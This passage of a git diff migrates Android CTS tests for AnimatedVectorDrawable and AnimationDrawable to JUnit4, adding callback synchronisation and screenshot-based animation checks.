+        mActivityRule.runOnUiThread(() -> {
+            mActivity.findViewById(R.id.imageview).getGlobalVisibleRect(srcRect);
+        });
+
+        for (int counter = 0; counter < 10; counter++) {
+            // Take a screen shot every 100ms, and compare with previous screenshot for the ImageView
+            // content, to make sure the AVD is animating when set on HW layer.
+            Bitmap screenShot = takeScreenshot(srcRect);
+            boolean isIdentical = isAlmostIdenticalInRect(screenShot, lastScreenShot);
+            if (isIdentical) {
+                String outputFolder = mActivity.getExternalFilesDir(null).getAbsolutePath();
+                DrawableTestUtils.saveVectorDrawableIntoPNG(screenShot, outputFolder,
+                        "inf_avd_screenshot_" + mLayerType + "_" + counter);
+                DrawableTestUtils.saveVectorDrawableIntoPNG(lastScreenShot, outputFolder,
+                        "inf_avd_screenshot_" + mLayerType + "_" + (counter - 1));
+                fail("Two consecutive screenshots of AVD are identical, AVD is "
+                        + "likely not animating");
+            }
+            lastScreenShot = screenShot;
+            counter++;
+
+            // Wait 100ms before the next screen shot. If animation ended during the wait, fail the
+            // test, as the infinite avd should not end until we call stop().
+            if (callback.waitForEnd(100)) {
+                fail("Infinite AnimatedVectorDrawable should not end on its own.");
+            }
+        }
+        Assert.assertFalse(callback.endIsCalled());
+        mActivityRule.runOnUiThread(() -> {
+            AnimatedVectorDrawable avd = (AnimatedVectorDrawable) imageView[0].getDrawable();
+            avd.stop();
+        });
+    }
+
+    // Copy the source rectangle from the screen into the returned bitmap.
+    private Bitmap takeScreenshot(Rect srcRect) {
+        SynchronousPixelCopy copy = new SynchronousPixelCopy();
+        Bitmap dest = Bitmap.createBitmap(
+                srcRect.width(), srcRect.height(), Bitmap.Config.ARGB_8888);
+        int copyResult = copy.request(mActivity.getWindow(), srcRect, dest);
+        Assert.assertEquals(PixelCopy.SUCCESS, copyResult);
+        return dest;
+    }
+}
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedVectorDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedVectorDrawableTest.java
index 5dabdfd..990a8fb 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedVectorDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedVectorDrawableTest.java
@@ -16,6 +16,14 @@
 
 package android.graphics.drawable.cts;
 
+import static junit.framework.Assert.fail;
+import static junit.framework.TestCase.assertFalse;
+import static junit.framework.TestCase.assertTrue;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+
+import android.app.Activity;
 import android.content.res.Resources;
 import android.graphics.Bitmap;
 import android.graphics.Canvas;
@@ -28,87 +36,48 @@
 import android.graphics.drawable.AnimatedVectorDrawable;
 import android.graphics.drawable.Drawable;
 import android.graphics.drawable.Drawable.ConstantState;
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.suitebuilder.annotation.MediumTest;
-import android.test.suitebuilder.annotation.SmallTest;
+import android.support.test.filters.LargeTest;
+import android.support.test.filters.SmallTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
-import android.util.Log;
 import android.util.Xml;
 import android.widget.ImageView;
 
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 import org.xmlpull.v1.XmlPullParser;
 import org.xmlpull.v1.XmlPullParserException;
 
-import java.io.File;
-import java.io.FileOutputStream;
-import java.io.IOException;
-
-import static java.lang.Thread.sleep;
-
-public class AnimatedVectorDrawableTest extends ActivityInstrumentationTestCase2<DrawableStubActivity> {
-    private static final String LOGTAG = AnimatedVectorDrawableTest.class.getSimpleName();
-
+@LargeTest
+@RunWith(AndroidJUnit4.class)
+public class AnimatedVectorDrawableTest {
     private static final int IMAGE_WIDTH = 64;
     private static final int IMAGE_HEIGHT = 64;
+    private static final long MAX_TIMEOUT_MS = 1000;
+    private static final long MAX_START_TIMEOUT_MS = 5000;
+    private static final int MS_TO_NS = 1000000;
 
-    private DrawableStubActivity mActivity;
+    @Rule
+    public ActivityTestRule<DrawableStubActivity> mActivityRule =
+            new ActivityTestRule<DrawableStubActivity>(DrawableStubActivity.class);
+    private Activity mActivity;
     private Resources mResources;
-    private Bitmap mBitmap;
-    private Canvas mCanvas;
     private static final boolean DBG_DUMP_PNG = false;
     private final int mResId = R.drawable.animation_vector_drawable_grouping_1;
     private final int mLayoutId = R.layout.animated_vector_drawable_source;
     private final int mImageViewId = R.id.avd_view;
 
-
-    public AnimatedVectorDrawableTest() {
-        super(DrawableStubActivity.class);
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        mBitmap = Bitmap.createBitmap(IMAGE_WIDTH, IMAGE_HEIGHT, Bitmap.Config.ARGB_8888);
-        mCanvas = new Canvas(mBitmap);
-
-        mActivity = getActivity();
+    @Before
+    public void setup() {
+        mActivity = mActivityRule.getActivity();
         mResources = mActivity.getResources();
     }
 
-    // This is only for debugging or golden image (re)generation purpose.
-    private void saveVectorDrawableIntoPNG(Bitmap bitmap, int resId) throws IOException {
-        // Save the image to the disk.
-        FileOutputStream out = null;
-        try {
-            String outputFolder = "/sdcard/temp/";
-            File folder = new File(outputFolder);
-            if (!folder.exists()) {
-                folder.mkdir();
-            }
-            String originalFilePath = mResources.getString(resId);
-            File originalFile = new File(originalFilePath);
-            String fileFullName = originalFile.getName();
-            String fileTitle = fileFullName.substring(0, fileFullName.lastIndexOf("."));
-            String outputFilename = outputFolder + fileTitle + "_golden.png";
-            File outputFile = new File(outputFilename);
-            if (!outputFile.exists()) {
-                outputFile.createNewFile();
-            }
-
-            out = new FileOutputStream(outputFile, false);
-            bitmap.compress(Bitmap.CompressFormat.PNG, 100, out);
-            Log.v(LOGTAG, "Write test No." + outputFilename + " to file successfully.");
-        } catch (Exception e) {
-            e.printStackTrace();
-        } finally {
-            if (out != null) {
-                out.close();
-            }
-        }
-    }
-
-    @MediumTest
+    @SmallTest
+    @Test
     public void testInflate() throws Exception {
         // Setup AnimatedVectorDrawable from xml file
         XmlPullParser parser = mResources.getXml(mResId);
@@ -123,52 +92,24 @@
         if (type != XmlPullParser.START_TAG) {
             throw new XmlPullParserException("No start tag found");
         }
+        Bitmap bitmap = Bitmap.createBitmap(IMAGE_WIDTH, IMAGE_HEIGHT, Bitmap.Config.ARGB_8888);
+        Canvas canvas = new Canvas(bitmap);
         AnimatedVectorDrawable drawable = new AnimatedVectorDrawable();
         drawable.inflate(mResources, parser, attrs);
         drawable.setBounds(0, 0, IMAGE_WIDTH, IMAGE_HEIGHT);
-        mBitmap.eraseColor(0);
-        drawable.draw(mCanvas);
-        int sunColor = mBitmap.getPixel(IMAGE_WIDTH / 2, IMAGE_HEIGHT / 2);
-        int earthColor = mBitmap.getPixel(IMAGE_WIDTH * 3 / 4 + 2, IMAGE_HEIGHT / 2);
+        bitmap.eraseColor(0);
+        drawable.draw(canvas);
+        int sunColor = bitmap.getPixel(IMAGE_WIDTH / 2, IMAGE_HEIGHT / 2);
+        int earthColor = bitmap.getPixel(IMAGE_WIDTH * 3 / 4 + 2, IMAGE_HEIGHT / 2);
         assertTrue(sunColor == 0xFFFF8000);
         assertTrue(earthColor == 0xFF5656EA);
 
         if (DBG_DUMP_PNG) {
-            saveVectorDrawableIntoPNG(mBitmap, mResId);
+            DrawableTestUtils.saveAutoNamedVectorDrawableIntoPNG(mActivity, bitmap, mResId, null);
         }
     }
 
-    @MediumTest
-    public void testSingleFrameAnimation() throws Exception {
-        int resId = R.drawable.avd_single_frame;
-        final AnimatedVectorDrawable d1 =
-                (AnimatedVectorDrawable) mResources.getDrawable(resId);
-        // The AVD has a duration as 16ms.
-        mActivity.runOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                mActivity.setContentView(mLayoutId);
-                ImageView imageView = (ImageView) mActivity.findViewById(mImageViewId);
-                imageView.setImageDrawable(d1);
-                d1.start();
-                d1.stop();
-                d1.setBounds(0, 0, IMAGE_WIDTH, IMAGE_HEIGHT);
-                mBitmap.eraseColor(0);
-                d1.draw(mCanvas);
-            }
-        });
-
-        getInstrumentation().waitForIdleSync();
-        int endColor = mBitmap.getPixel(IMAGE_WIDTH / 2, IMAGE_HEIGHT / 2);
-
-        if (DBG_DUMP_PNG) {
-            saveVectorDrawableIntoPNG(mBitmap, resId);
-        }
-
-        assertEquals("Center point's color must be green", 0xFF00FF00, endColor);
-    }
-
-    @SmallTest
+    @Test
     public void testGetChangingConfigurations() {
         AnimatedVectorDrawable avd = new AnimatedVectorDrawable();
         ConstantState constantState = avd.getConstantState();
@@ -192,7 +133,7 @@
         assertEquals(0xffff,  avd.getChangingConfigurations());
     }
 
-    @SmallTest
+    @Test
     public void testGetConstantState() {
         AnimatedVectorDrawable AnimatedVectorDrawable = new AnimatedVectorDrawable();
         ConstantState constantState = AnimatedVectorDrawable.getConstantState();
@@ -206,34 +147,42 @@
     }
 
     @SmallTest
+    @Test
     public void testMutate() {
         AnimatedVectorDrawable d1 = (AnimatedVectorDrawable) mResources.getDrawable(mResId);
         AnimatedVectorDrawable d2 = (AnimatedVectorDrawable) mResources.getDrawable(mResId);
         AnimatedVectorDrawable d3 = (AnimatedVectorDrawable) mResources.getDrawable(mResId);
-        int originalAlpha = d2.getAlpha();
-        int newAlpha = (originalAlpha + 1) % 255;
+        int restoreAlpha = d1.getAlpha();
 
-        // AVD is different than VectorDrawable. Every instance of it is a deep copy
-        // of the VectorDrawable.
-        // So every setAlpha operation will happen only to that specific object.
-        d1.setAlpha(newAlpha);
-        assertEquals(newAlpha, d1.getAlpha());
-        assertEquals(originalAlpha, d2.getAlpha());
-        assertEquals(originalAlpha, d3.getAlpha());
+        try {
+            int originalAlpha = d2.getAlpha();
+            int newAlpha = (originalAlpha + 1) % 255;
 
-        d1.mutate();
-        d1.setAlpha(0x40);
-        assertEquals(0x40, d1.getAlpha());
-        assertEquals(originalAlpha, d2.getAlpha());
-        assertEquals(originalAlpha, d3.getAlpha());
+            // AVD is different than VectorDrawable. Every instance of it is a deep copy
+            // of the VectorDrawable.
+            // So every setAlpha operation will happen only to that specific object.
+            d1.setAlpha(newAlpha);
+            assertEquals(newAlpha, d1.getAlpha());
+            assertEquals(originalAlpha, d2.getAlpha());
+            assertEquals(originalAlpha, d3.getAlpha());
 
-        d2.setAlpha(0x20);
-        assertEquals(0x40, d1.getAlpha());
-        assertEquals(0x20, d2.getAlpha());
-        assertEquals(originalAlpha, d3.getAlpha());
+            d1.mutate();
+            d1.setAlpha(0x40);
+            assertEquals(0x40, d1.getAlpha());
+            assertEquals(originalAlpha, d2.getAlpha());
+            assertEquals(originalAlpha, d3.getAlpha());
+
+            d2.setAlpha(0x20);
+            assertEquals(0x40, d1.getAlpha());
+            assertEquals(0x20, d2.getAlpha());
+            assertEquals(originalAlpha, d3.getAlpha());
+        } finally {
+            mResources.getDrawable(mResId).setAlpha(restoreAlpha);
+        }
     }
 
     @SmallTest
+    @Test
     public void testGetOpacity() {
         AnimatedVectorDrawable d1 = (AnimatedVectorDrawable) mResources.getDrawable(mResId);
         assertEquals("Default is translucent", PixelFormat.TRANSLUCENT, d1.getOpacity());
@@ -242,6 +191,7 @@
     }
 
     @SmallTest
+    @Test
     public void testColorFilter() {
         PorterDuffColorFilter filter = new PorterDuffColorFilter(Color.RED, PorterDuff.Mode.SRC_IN);
         AnimatedVectorDrawable d1 = (AnimatedVectorDrawable) mResources.getDrawable(mResId);
@@ -250,158 +200,218 @@
         assertEquals(filter, d1.getColorFilter());
     }
 
-    @MediumTest
-    public void testReset() {
+    @Test
+    public void testReset() throws Throwable {
+        final MyCallback callback = new MyCallback();
         final AnimatedVectorDrawable d1 = (AnimatedVectorDrawable) mResources.getDrawable(mResId);
         // The AVD has a duration as 100ms.
-        mActivity.runOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                d1.start();
-                d1.reset();
-            }
+        mActivityRule.runOnUiThread(() -> {
+            d1.registerAnimationCallback(callback);
+            d1.start();
+            d1.reset();
         });
-        getInstrumentation().waitForIdleSync();
+        waitForAVDStop(callback, MAX_TIMEOUT_MS);
         assertFalse(d1.isRunning());
 
     }
 
-    @MediumTest
-    public void testStop() {
+    @Test
+    public void testStop() throws Throwable {
+        final MyCallback callback = new MyCallback();
         final AnimatedVectorDrawable d1 = (AnimatedVectorDrawable) mResources.getDrawable(mResId);
         // The AVD has a duration as 100ms.
-        mActivity.runOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                d1.start();
-                d1.stop();
-
-            }
+        mActivityRule.runOnUiThread(() -> {
+            d1.registerAnimationCallback(callback);
+            d1.start();
+            d1.stop();
         });
-        getInstrumentation().waitForIdleSync();
+        waitForAVDStop(callback, MAX_TIMEOUT_MS);
         assertFalse(d1.isRunning());
     }
 
-    @MediumTest
-    public void testAddCallbackBeforeStart() throws InterruptedException {
+    @Test
+    public void testAddCallbackBeforeStart() throws Throwable {
         final MyCallback callback = new MyCallback();
         // The AVD has a duration as 100ms.
-        mActivity.runOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                mActivity.setContentView(mLayoutId);
-                ImageView imageView = (ImageView) mActivity.findViewById(mImageViewId);
-                AnimatedVectorDrawable d1 = (AnimatedVectorDrawable) imageView.getDrawable();
-                d1.registerAnimationCallback(callback);
-                d1.start();
-            }
+        mActivityRule.runOnUiThread(() -> {
+            mActivity.setContentView(mLayoutId);
+            ImageView imageView = (ImageView) mActivity.findViewById(mImageViewId);
+            AnimatedVectorDrawable d1 = (AnimatedVectorDrawable) imageView.getDrawable();
+            d1.registerAnimationCallback(callback);
+            d1.start();
         });
-        getInstrumentation().waitForIdleSync();
-        sleep(200);
-        assertTrue(callback.mStart);
-        assertTrue(callback.mEnd);
+        callback.waitForStart();
+        waitForAVDStop(callback, MAX_TIMEOUT_MS);
+        callback.assertStarted(true);
+        callback.assertEnded(true);
     }
 
-    @MediumTest
-    public void testAddCallbackAfterTrigger() throws InterruptedException {
+    @Test
+    public void testAddCallbackAfterTrigger() throws Throwable {
         final MyCallback callback = new MyCallback();
         // The AVD has a duration as 100ms.
-        mActivity.runOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                mActivity.setContentView(mLayoutId);
-                ImageView imageView = (ImageView) mActivity.findViewById(mImageViewId);
-                AnimatedVectorDrawable d1 = (AnimatedVectorDrawable) imageView.getDrawable();
-                // This reset call can enforce the AnimatorSet is setup properly in AVD, when
-                // running on UI thread.
-                d1.reset();
-                d1.registerAnimationCallback(callback);
-                d1.start();
-            }
+        mActivityRule.runOnUiThread(() -> {
+            mActivity.setContentView(mLayoutId);
+            ImageView imageView = (ImageView) mActivity.findViewById(mImageViewId);
+            AnimatedVectorDrawable d1 = (AnimatedVectorDrawable) imageView.getDrawable();
+            // This reset call can enforce the AnimatorSet is setup properly in AVD, when
+            // running on UI thread.
+            d1.reset();
+            d1.registerAnimationCallback(callback);
+            d1.start();
         });
-        getInstrumentation().waitForIdleSync();
-        sleep(200);
-        assertTrue(callback.mStart);
-        assertTrue(callback.mEnd);
+        callback.waitForStart();
+        waitForAVDStop(callback, MAX_TIMEOUT_MS);
+
+        callback.assertStarted(true);
+        callback.assertEnded(true);
     }
 
-    @MediumTest
-    public void testAddCallbackAfterStart() throws InterruptedException {
+    @Test
+    public void testAddCallbackAfterStart() throws Throwable {
         final MyCallback callback = new MyCallback();
         // The AVD has a duration as 100ms.
-        mActivity.runOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                mActivity.setContentView(mLayoutId);
-                ImageView imageView = (ImageView) mActivity.findViewById(mImageViewId);
-                AnimatedVectorDrawable d1 = (AnimatedVectorDrawable) imageView.getDrawable();
-                d1.start();
-                d1.registerAnimationCallback(callback);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            mActivity.setContentView(mLayoutId);
+            ImageView imageView = (ImageView) mActivity.findViewById(mImageViewId);
+            AnimatedVectorDrawable d1 = (AnimatedVectorDrawable) imageView.getDrawable();
+            d1.start();
+            d1.registerAnimationCallback(callback);
         });
-        getInstrumentation().waitForIdleSync();
-        sleep(200);
+        callback.waitForStart();
+
+        waitForAVDStop(callback, MAX_TIMEOUT_MS);
         // Whether or not the callback.start is true could vary when running on Render Thread.
-        // Therefore, we don't make assertion here. The most useful flag is the callback.mEnd.
-        assertTrue(callback.mEnd);
+        // Therefore, we don't make assertion here. The most useful flag is the callback.mEnded.
+        callback.assertEnded(true);
+        callback.assertAVDRuntime(0, 400 * MS_TO_NS); // 4 times of the duration of the AVD.
     }
 
-    @MediumTest
-    public void testRemoveCallback() {
+    @Test
+    public void testRemoveCallback() throws Throwable {
         final MyCallback callback = new MyCallback();
         // The AVD has a duration as 100ms.
-        mActivity.runOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                mActivity.setContentView(mLayoutId);
-                ImageView imageView = (ImageView) mActivity.findViewById(mImageViewId);
-                AnimatedVectorDrawable d1 = (AnimatedVectorDrawable) imageView.getDrawable();
-                d1.registerAnimationCallback(callback);
-                assertTrue(d1.unregisterAnimationCallback(callback));
-                d1.start();
-            }
+        mActivityRule.runOnUiThread(() -> {
+            mActivity.setContentView(mLayoutId);
+            ImageView imageView = (ImageView) mActivity.findViewById(mImageViewId);
+            AnimatedVectorDrawable d1 = (AnimatedVectorDrawable) imageView.getDrawable();
+            d1.registerAnimationCallback(callback);
+            assertTrue(d1.unregisterAnimationCallback(callback));
+            d1.start();
         });
-        getInstrumentation().waitForIdleSync();
+        callback.waitForStart();
 
-        assertFalse(callback.mStart);
-        assertFalse(callback.mEnd);
+        waitForAVDStop(callback, MAX_TIMEOUT_MS);
+        callback.assertStarted(false);
+        callback.assertEnded(false);
     }
 
-    @MediumTest
-    public void testClearCallback() {
+    @Test
+    public void testClearCallback() throws Throwable {
         final MyCallback callback = new MyCallback();
 
         // The AVD has a duration as 100ms.
-        mActivity.runOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                mActivity.setContentView(mLayoutId);
-                ImageView imageView = (ImageView) mActivity.findViewById(mImageViewId);
-                AnimatedVectorDrawable d1 = (AnimatedVectorDrawable) imageView.getDrawable();
-                d1.registerAnimationCallback(callback);
-                d1.clearAnimationCallbacks();
-                d1.start();
-            }
+        mActivityRule.runOnUiThread(() -> {
+            mActivity.setContentView(mLayoutId);
+            ImageView imageView = (ImageView) mActivity.findViewById(mImageViewId);
+            AnimatedVectorDrawable d1 = (AnimatedVectorDrawable) imageView.getDrawable();
+            d1.registerAnimationCallback(callback);
+            d1.clearAnimationCallbacks();
+            d1.start();
         });
+        callback.waitForStart();
 
-        getInstrumentation().waitForIdleSync();
-
-        assertFalse(callback.mStart);
-        assertFalse(callback.mEnd);
+        waitForAVDStop(callback, MAX_TIMEOUT_MS);
+        callback.assertStarted(false);
+        callback.assertEnded(false);
     }
 
-    class MyCallback extends Animatable2.AnimationCallback {
-        boolean mStart = false;
-        boolean mEnd = false;
+    // The time out is expected when the listener is removed successfully.
+    // Such that we don't get the end event.
+    static void waitForAVDStop(MyCallback callback, long timeout) {
+        try {
+            callback.waitForEnd(timeout);
+        } catch (InterruptedException e) {
+            e.printStackTrace();
+            fail("We should not see the AVD run this long time!");
+        }
+    }
+
+    // Now this class can not only listen to the events, but also synchronize the key events,
+    // logging the event timestamp, and centralize some assertions.
+    static class MyCallback extends Animatable2.AnimationCallback {
+        private boolean mStarted = false;
+        private boolean mEnded = false;
+
+        private long mStartNs = Long.MAX_VALUE;
+        private long mEndNs = Long.MIN_VALUE;
+
+        // Use this lock to make sure the onAnimationEnd() has been called.
+        // Each sub test should have its own lock.
+        private final Object mEndLock = new Object();
+
+        // Use this lock to make sure the test thread know when the AVD.start() has been called.
+        // Each sub test should have its own lock.
+        private final Object mStartLock = new Object();
+
+        public boolean waitForEnd(long timeoutMs) throws InterruptedException {
+            synchronized (mEndLock) {
+                if (!mEnded) {
+                    // Return immediately if the AVD has already ended.
+                    mEndLock.wait(timeoutMs);
+                }
+                return mEnded;
+            }
+        }
+
+        public boolean waitForStart() throws InterruptedException {
+            synchronized(mStartLock) {
+                if (!mStarted) {
+                    // Return immediately if the AVD has already started.
+                    mStartLock.wait(MAX_START_TIMEOUT_MS);
+                }
+                return mStarted;
+            }
+        }
 
         @Override
         public void onAnimationStart(Drawable drawable) {
-            mStart = true;
+            mStartNs = System.nanoTime();
+            synchronized(mStartLock) {
+                mStarted = true;
+                mStartLock.notify();
+            }
         }
 
         @Override
         public void onAnimationEnd(Drawable drawable) {
-            mEnd = true;
+            mEndNs = System.nanoTime();
+            synchronized (mEndLock) {
+                mEnded = true;
+                mEndLock.notify();
+            }
+        }
+
+        public boolean endIsCalled() {
+            synchronized (mEndLock) {
+                return mEnded;
+            }
+        }
+
+        public void assertStarted(boolean started) {
+            assertEquals(started, mStarted);
+        }
+
+        public void assertEnded(boolean ended) {
+            assertEquals(ended, mEnded);
+        }
+
+        public void assertAVDRuntime(long min, long max) {
+            assertTrue(mStartNs != Long.MAX_VALUE);
+            assertTrue(mEndNs != Long.MIN_VALUE);
+            long durationNs = mEndNs - mStartNs;
+            assertTrue("current duration " + durationNs + " should be within " +
+                    min + "," + max, durationNs <= max && durationNs >= min);
         }
     }
 }
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/AnimationDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/AnimationDrawableTest.java
index 33b99a4..7b3cab9 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/AnimationDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/AnimationDrawableTest.java
@@ -16,27 +16,43 @@
 
 package android.graphics.drawable.cts;
 
-import android.graphics.cts.R;
-
-
-import org.xmlpull.v1.XmlPullParser;
-import org.xmlpull.v1.XmlPullParserException;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
 
 import android.app.Activity;
 import android.content.res.Resources;
 import android.content.res.XmlResourceParser;
-import android.cts.util.PollingCheck;
+import android.graphics.cts.ImageViewCtsActivity;
+import android.graphics.cts.R;
 import android.graphics.drawable.AnimationDrawable;
 import android.graphics.drawable.Drawable;
 import android.graphics.drawable.DrawableContainer.DrawableContainerState;
-import android.test.ActivityInstrumentationTestCase2;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.LargeTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.Xml;
 import android.widget.ImageView;
-import android.graphics.cts.ImageViewCtsActivity;
+
+import com.android.compatibility.common.util.PollingCheck;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.xmlpull.v1.XmlPullParser;
+import org.xmlpull.v1.XmlPullParserException;
 
 import java.io.IOException;
 
-public class AnimationDrawableTest extends ActivityInstrumentationTestCase2<ImageViewCtsActivity> {
+@LargeTest
+@RunWith(AndroidJUnit4.class)
+public class AnimationDrawableTest {
     private static final int FRAMES_COUNT        = 3;
     private static final int FIRST_FRAME_INDEX   = 0;
     private static final int SECOND_FRAME_INDEX  = 1;
@@ -49,158 +65,112 @@
     private AnimationDrawable mAnimationDrawable;
     private Resources mResources;
 
-    public AnimationDrawableTest() {
-        super("android.graphics.cts", ImageViewCtsActivity.class);
-    }
+    @Rule
+    public ActivityTestRule<ImageViewCtsActivity> mActivityRule =
+            new ActivityTestRule<>(ImageViewCtsActivity.class);
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        final Activity activity = getActivity();
+    @UiThreadTest
+    @Before
+    public void setup() throws Throwable {
+        final Activity activity = mActivityRule.getActivity();
         mResources = activity.getResources();
-        try {
-            runTestOnUiThread(new Runnable() {
-                public void run() {
-                    ImageView imageView = (ImageView) activity.findViewById(R.id.imageview);
-                    imageView.setBackgroundResource(R.drawable.animationdrawable);
-                    mAnimationDrawable = (AnimationDrawable) imageView.getBackground();
-                }
-            });
-        } catch (Throwable t) {
-            throw new Exception(t);
-        }
+
+        ImageView imageView = (ImageView) activity.findViewById(R.id.imageview);
+        imageView.setBackgroundResource(R.drawable.animationdrawable);
+        mAnimationDrawable = (AnimationDrawable) imageView.getBackground();
     }
 
+    @Test
     public void testConstructor() {
-        mAnimationDrawable = new AnimationDrawable();
+        AnimationDrawable animationDrawable = new AnimationDrawable();
         // Check the values set in the constructor
-        assertNotNull(mAnimationDrawable.getConstantState());
-        assertFalse(mAnimationDrawable.isRunning());
-        assertFalse(mAnimationDrawable.isOneShot());
+        assertNotNull(animationDrawable.getConstantState());
+        assertFalse(animationDrawable.isRunning());
+        assertFalse(animationDrawable.isOneShot());
     }
 
+    @Test
     public void testSetVisible() throws Throwable {
         assertTrue(mAnimationDrawable.isVisible());
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mAnimationDrawable.start();
-            }
-        });
+        mActivityRule.runOnUiThread(mAnimationDrawable::start);
         assertTrue(mAnimationDrawable.isRunning());
-        assertSame(mAnimationDrawable.getFrame(FIRST_FRAME_INDEX),
-                mAnimationDrawable.getCurrent());
+        assertSame(mAnimationDrawable.getFrame(FIRST_FRAME_INDEX), mAnimationDrawable.getCurrent());
 
         pollingCheckDrawable(SECOND_FRAME_INDEX, FIRST_FRAME_DURATION);
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                assertTrue(mAnimationDrawable.setVisible(false, false));
-            }
-        });
+        mActivityRule.runOnUiThread(() -> assertTrue(mAnimationDrawable.setVisible(false, false)));
         assertFalse(mAnimationDrawable.isVisible());
         assertFalse(mAnimationDrawable.isRunning());
-        assertStoppedAnimation(SECOND_FRAME_INDEX, SECOND_FRAME_DURATION);
+        verifyStoppedAnimation(SECOND_FRAME_INDEX, SECOND_FRAME_DURATION);
 
         // restart animation
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                assertTrue(mAnimationDrawable.setVisible(true, true));
-            }
-        });
+        mActivityRule.runOnUiThread(() -> assertTrue(mAnimationDrawable.setVisible(true, true)));
         assertTrue(mAnimationDrawable.isVisible());
         assertTrue(mAnimationDrawable.isRunning());
         pollingCheckDrawable(SECOND_FRAME_INDEX, FIRST_FRAME_DURATION);
     }
 
+    @Test
     public void testStart() throws Throwable {
         // animation should play repeat if do not stop it.
         assertFalse(mAnimationDrawable.isOneShot());
         assertFalse(mAnimationDrawable.isRunning());
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mAnimationDrawable.start();
-            }
-        });
+        mActivityRule.runOnUiThread(mAnimationDrawable::start);
 
         assertTrue(mAnimationDrawable.isRunning());
         assertSame(mAnimationDrawable.getFrame(FIRST_FRAME_INDEX),
                 mAnimationDrawable.getCurrent());
         pollingCheckDrawable(SECOND_FRAME_INDEX, FIRST_FRAME_DURATION);
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                // This method has no effect if the animation is running.
-                mAnimationDrawable.start();
-            }
-        });
+        mActivityRule.runOnUiThread(mAnimationDrawable::start);
         pollingCheckDrawable(THIRD_FRAME_INDEX, SECOND_FRAME_DURATION);
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mAnimationDrawable.stop();
-            }
-        });
+        mActivityRule.runOnUiThread(mAnimationDrawable::stop);
         assertFalse(mAnimationDrawable.isRunning());
-        assertStoppedAnimation(THIRD_FRAME_INDEX, THIRD_FRAME_DURATION);
+        verifyStoppedAnimation(THIRD_FRAME_INDEX, THIRD_FRAME_DURATION);
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                // This method has no effect if the animation is not running.
-                mAnimationDrawable.stop();
-            }
-        });
+        // This method has no effect if the animation is not running.
+        mActivityRule.runOnUiThread(mAnimationDrawable::stop);
         assertFalse(mAnimationDrawable.isRunning());
-        assertStoppedAnimation(THIRD_FRAME_INDEX, THIRD_FRAME_DURATION);
+        verifyStoppedAnimation(THIRD_FRAME_INDEX, THIRD_FRAME_DURATION);
     }
 
+    @Test
     public void testRun() throws Throwable {
         assertFalse(mAnimationDrawable.isRunning());
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mAnimationDrawable.run();
-            }
-        });
+        mActivityRule.runOnUiThread(mAnimationDrawable::run);
 
         assertTrue(mAnimationDrawable.isRunning());
         pollingCheckDrawable(SECOND_FRAME_INDEX, FIRST_FRAME_DURATION);
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mAnimationDrawable.unscheduleSelf(mAnimationDrawable);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mAnimationDrawable.unscheduleSelf(mAnimationDrawable));
     }
 
+    @Test
     public void testUnscheduleSelf() throws Throwable {
         assertFalse(mAnimationDrawable.isRunning());
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mAnimationDrawable.start();
-            }
-        });
+        mActivityRule.runOnUiThread(mAnimationDrawable::start);
 
         assertTrue(mAnimationDrawable.isRunning());
         pollingCheckDrawable(SECOND_FRAME_INDEX, FIRST_FRAME_DURATION);
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mAnimationDrawable.unscheduleSelf(mAnimationDrawable);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mAnimationDrawable.unscheduleSelf(mAnimationDrawable));
         assertFalse(mAnimationDrawable.isRunning());
-        assertStoppedAnimation(SECOND_FRAME_INDEX, SECOND_FRAME_DURATION);
+        verifyStoppedAnimation(SECOND_FRAME_INDEX, SECOND_FRAME_DURATION);
     }
 
+    @Test
     public void testGetNumberOfFrames() {
-        assertEquals(FRAMES_COUNT, mAnimationDrawable.getNumberOfFrames());
+        AnimationDrawable mutated = (AnimationDrawable) mAnimationDrawable.mutate();
